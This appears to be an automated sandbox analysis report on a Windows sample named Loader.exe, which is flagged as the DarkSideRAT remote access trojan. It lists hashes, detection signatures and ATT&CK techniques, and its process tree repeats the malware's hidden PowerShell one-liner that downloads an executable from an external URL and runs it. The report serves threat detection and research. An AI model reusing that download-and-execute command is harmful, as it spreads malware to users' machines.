darksiderat | 57fbce488bd29ac5d1dcf2bc0cb77758c737e8dfa25c0309972919bdcf8920b1

Analysis

user interaction
yes
max time kernel
6s
max time network
6s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/09/2026, 16:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 6.1MB
Sample260905-t2nrjaybnd
SHA256 57fbce488bd29ac5d1dcf2bc0cb77758c737e8dfa25c0309972919bdcf8920b1
MD5 577ab03dfa118f5dfbca85f2bf730144
SHA1 b6a6baba01ff0ea0f652b9c27a272d672b712756
SHA512 868315f5435f8a09ffe4b19a877b2bc2a4544a13c59d22c662e58cd669b8f0b481c525d2a8a48656d01b0af40409a345cce73b1581137b0e294d8c844de2eba4
SSDEEP 98304:DwVk3IUX+EjLnZo/Y7mgTm05AwJHE6hD243WwYlZqL9P0FRwF:qk3VXhDmg7PAmkg2z/ZqL107wF
TLSH
T1C056BF42B39181E9C266D138CE82E767D3327C090F3156E736EC7A1A6F726D04E7AB51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x000a0000000243b4-25.dat	family_darksiderat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	2504	powershell.exe
9	3052	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe
3052	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
8	2504	powershell.exe
9	3052	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1864	BK330934.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1548	Loader.exe
1548	Loader.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
416	cmd.exe
1600	cmd.exe
4640	cmd.exe
1616	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1548	Loader.exe
1548	Loader.exe
3052	powershell.exe
2504	powershell.exe
3052	powershell.exe
2504	powershell.exe
1548	Loader.exe
1548	Loader.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 416	1548	Loader.exe	86
PID 416 wrote to memory of 1600	416	cmd.exe	87
PID 1548 wrote to memory of 4640	1548	Loader.exe	89
PID 4640 wrote to memory of 1616	4640	cmd.exe	90
PID 1600 wrote to memory of 2504	1600	cmd.exe	92
PID 1616 wrote to memory of 3052	1616	cmd.exe	93
PID 3052 wrote to memory of 1864	3052	powershell.exe	94

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=WiNwRgPaTKlzYNhgv4DSW01.txt' -OutFile $env:TEMP\BK330934.exe; Start-Process -FilePath $env:TEMP\BK330934.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Users\Admin\AppData\Local\Temp\BK330934.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK330934.exe"
        5⤵
        Executes dropped EXE
        
        PID:1864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54f0763e2c9657771d5716eb9a98906acae0e6a0a2e7a1dd0ab2ea402629903f
MD5 bc2838554b7cafbbf6b0d21e0aee99a0
SHA1 cb7baaa7a604420eb67e33e2c36c0620b2f4e22b
SHA512 8543bf6c99fa588c2bee6bdfc3de3e6eb57e3df8e3293e1d0e9ab70d6169e447ceeeb7dc9fe492ed895137785cd65364ff9afe30eb6c7bbcb3fd650a897ad9bf
TLSH
T104218627B39C8921CC86123A109D9C1172B283C7809ECF9F6FC4D600A07F998CB21294
MD5 SHA1 SHA512 TLSH

Submit Download

BK330934.exe

Path C:\Users\Admin\AppData\Local\Temp\BK330934.exe
Size 12KB
SHA256 2ebde96615003672b3a8171ec4dd1ae6146025a609887ccc96bc3a738eeb3a4f
MD5 850324e5fda9b74e28a935b6f9f1f0a2
SHA1 4dfba4345cada8e1a604d0698257050065af9345
SHA512 7af7fc6e2a93a6f64301315e268e410706eaa160c7aa4b72876d96ae4a68badc637c7f8a31f9e4103d22d5878809341e3a84586fe8095f6719fe71a9622d1a27
SSDEEP 192:06OFz+N1PsXMhO51PSP+0uiVEVfAzCHGMWQ0qVb7ttk+oC8apAEZvawGgzwHwbwg:0ZFC1WcAS+0MfAzCHGMWQbAZwEHqqG
TLSH
T1DD428438E18C79AAE3289074FC8A5D72CA11B05A1239BFBB47548CB61FDBE01577C6D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BK330934.exe

Path C:\Users\Admin\AppData\Local\Temp\BK330934.exe
Size 56KB
SHA256 c5479d3935762ad5280b2fa5f0fd7bb6395eaeea74fb79d2bfc695770b8d374c
MD5 3c0f2e862d3799f086b241052fa3d80f
SHA1 2d108a671f306aac61b56356b0170a7db59554ec
SHA512 25dfc86cb2e79235a046dfd1c4212e58126b9e7188140616be1d1de2bb77606019e5c8fc2450b713b013ffdf501683398a794e9afbcac36bf5b7c7d8857c2d6c
SSDEEP 768:0bC1NA10jzCHGMWQ8+9AxkUjFzaOWp54vg5d5YP98yxA1XbXxFkW7rCVr8Z0kP:Yr0jzE6bWp0g5rBSmNGW7rCVoekP
TLSH
T13743F935E95EB06FE35DC870ED030D16CD127CCA97A0BB9B57914DE20EAAE609B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_c3cp2d5b.f55.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3cp2d5b.f55.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2504-20-0x000001D3AD6D0000-0x000001D3AD8EC000-memory.dmp

Download

memory/3052-1-0x00000284698F0000-0x0000028469900000-memory.dmp

Download

memory/3052-0-0x00000284698F0000-0x0000028469900000-memory.dmp

Download

memory/3052-2-0x00000284698C0000-0x00000284698E2000-memory.dmp

Download

memory/3052-32-0x000002846BA80000-0x000002846BC9C000-memory.dmp

Download